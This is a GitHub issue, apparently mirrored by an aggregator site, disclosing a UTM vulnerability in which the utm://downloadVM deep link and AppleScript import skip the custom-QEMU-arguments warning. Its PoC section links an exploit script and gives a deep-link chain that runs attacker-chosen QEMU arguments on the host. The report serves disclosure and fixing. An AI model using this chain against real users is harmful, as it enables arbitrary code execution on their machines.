utmapp / utmapp/UTM

[Security] Incomplete Fix: Custom QEMU Arguments Warning Bypass via `utm://downloadVM`

Open
#7,733 1 comment 0 reactions 0 assignees View on GitHub
Dominant language
Swift
Stars
35.5k
Forks
1.8k
Avg merge
5d 5h
Merged PRs (30d)
7

Description

### Advisory Details

**Title**: Incomplete Fix: Custom QEMU Arguments Warning Bypass via `utm://downloadVM`

**Description**:

### Summary

A bypass of the "Custom QEMU Arguments" security warning exists when importing `.utm` packages via the `utm://downloadVM` URL scheme or the AppleScript `importNewUTM` method. This allows unauthenticated attackers to execute arbitrary code on the victim's machine by tricking them into clicking a malicious deep link that silently imports and executes arbitrary QEMU arguments.

### Details

The application provides functionality to import virtual machines from `.utm` packages. To protect users from malicious VMs, a security check was introduced to warn the user if a VM contains custom QEMU arguments (`AdditionalArguments`), which can be used to execute arbitrary commands. This check was implemented directly inside the `importUTM(from url: URL)` method in `Platform/UTMData.swift`.

However, the root cause is an incomplete fix / patch gap. There are other methods that import VMs and add them to the list:
1. `downloadUTMZip(from url: URL)` which handles the `utm://downloadVM` deep link.
2. `importNewUTM(from url: URL)` which handles AppleScript imports.

Both of these methods instantiate a `VMData` object from the extracted package and call `listAdd(vm: vm)` directly, completely skipping the security check that was placed inside `importUTM`.

### PoC

#### Prerequisites

- UTM application installed on macOS or iOS.
- The victim must click a malicious `utm://downloadVM` deep link.
- The user must confirm the download prompt ("Do you want to download '...'?").
- The user must then run the imported malicious VM.

#### Reproduction Steps

1. Download the PoC exploit script from: [poc_exploit.py](https://gist.github.com/YLChen-007/0c9c9ef407f6a607f56a0d231fb46e70)

2. Run the script in a terminal to generate and host a malicious `.utm` package:
```bash
python3 poc_exploit.py
```

3. Open Safari (or another browser) on a device with UTM installed and navigate to the malicious deep link:
```
utm://downloadVM?url=http://127.0.0.1:8000/malicious.zip
```

4. UTM will prompt: "Do you want to download http://127.0.0.1:8000/malicious.zip?". Click "Download".

5. The VM will be downloaded and added to your UTM library. Notice that the "This virtual machine uses custom QEMU arguments..." warning is completely bypassed.

6. Start the "MaliciousVM". The custom QEMU arguments will execute (in the PoC, creating `/tmp/pwned_by_download.txt`).

7. You can verify that the security mechanism does work for local imports by downloading and running the control script: [control-normal_import.py](https://gist.github.com/YLChen-007/cad3638a881539e67f45480b19a7b819).

### Log of Evidence

```text
[SUCCESS]
The exploit was successfully validated via static and data-flow analysis of the UTM codebase.
1. The entry point `utm://downloadVM?url=...` is correctly handled by `BusyOverlay.swift` and triggers `downloadUTMZip`.
2. The user is prompted to confirm the download (from Issue-UTM-6156 fix). Once confirmed, `downloadUTMZip(from url: URL)` runs.
3. `downloadUTMZip` downloads the file, calls `UTMDownloadVMTask` to extract the `.utm` directory, instantiates a `VMData` object, and finally calls `listAdd(vm: vm)`.
4. Critically, `downloadUTMZip` LACKS the safety check `!qemuConfig.qemu.additionalArguments.isEmpty` which is present in `importUTM(from url: URL)`.
5. As a result, the malicious VM containing arbitrary `AdditionalArguments` in its `config.plist` is silently added to the VM list without displaying the "custom QEMU arguments" warning to the user.
6. When the victim starts the VM, QEMU executes with the attacker-controlled arguments (e.g., writing files to `/tmp` or executing commands).
Exploitability: VERIFIED.
```

### Impact

This is an Arbitrary Code Execution (RCE) vulnerability resulting from an incomplete fix for a Security Feature Bypass. The vulnerability impacts any user of the UTM application who imports a malicious `.utm` package via the deep link feature or AppleScript. Because QEMU executes with the privileges of the UTM application, it completely compromises the user's host machine, allowing an attacker to read/write arbitrary files, steal credentials, or execute commands.

### Affected products

- **Ecosystem**: Swift / macOS / iOS
- **Package name**: UTM
- **Affected versions**: <= 5.0.3
- **Patched versions**:

### Severity

- **Severity**: High
- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

### Weaknesses

- **CWE**: CWE-693: Protection Mechanism Failure

### Occurrences

| Permalink | Description |
| :--- | :--- |
| [https://github.com/utmapp/UTM/blob/e4a4c34b671284263fc69f81b607de494d7e9b65/Platform/UTMData.swift#L834-L849](https://github.com/utmapp/UTM/blob/e4a4c34b671284263fc69f81b607de494d7e9b65/Platform/UTMData.swift#L834-L849) | The vulnerable `downloadUTMZip` method that lacks the security check for custom QEMU arguments before adding the VM. |
| [https://github.com/utmapp/UTM/blob/e4a4c34b671284263fc69f81b607de494d7e9b65/Platform/UTMData.swift#L722-L765](https://github.com/utmapp/UTM/blob/e4a4c34b671284263fc69f81b607de494d7e9b65/Platform/UTMData.swift#L722-L765) | The vulnerable `importNewUTM` method that lacks the security check for custom QEMU arguments before adding the VM. |

Contributor guide

Open the contributing guide

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.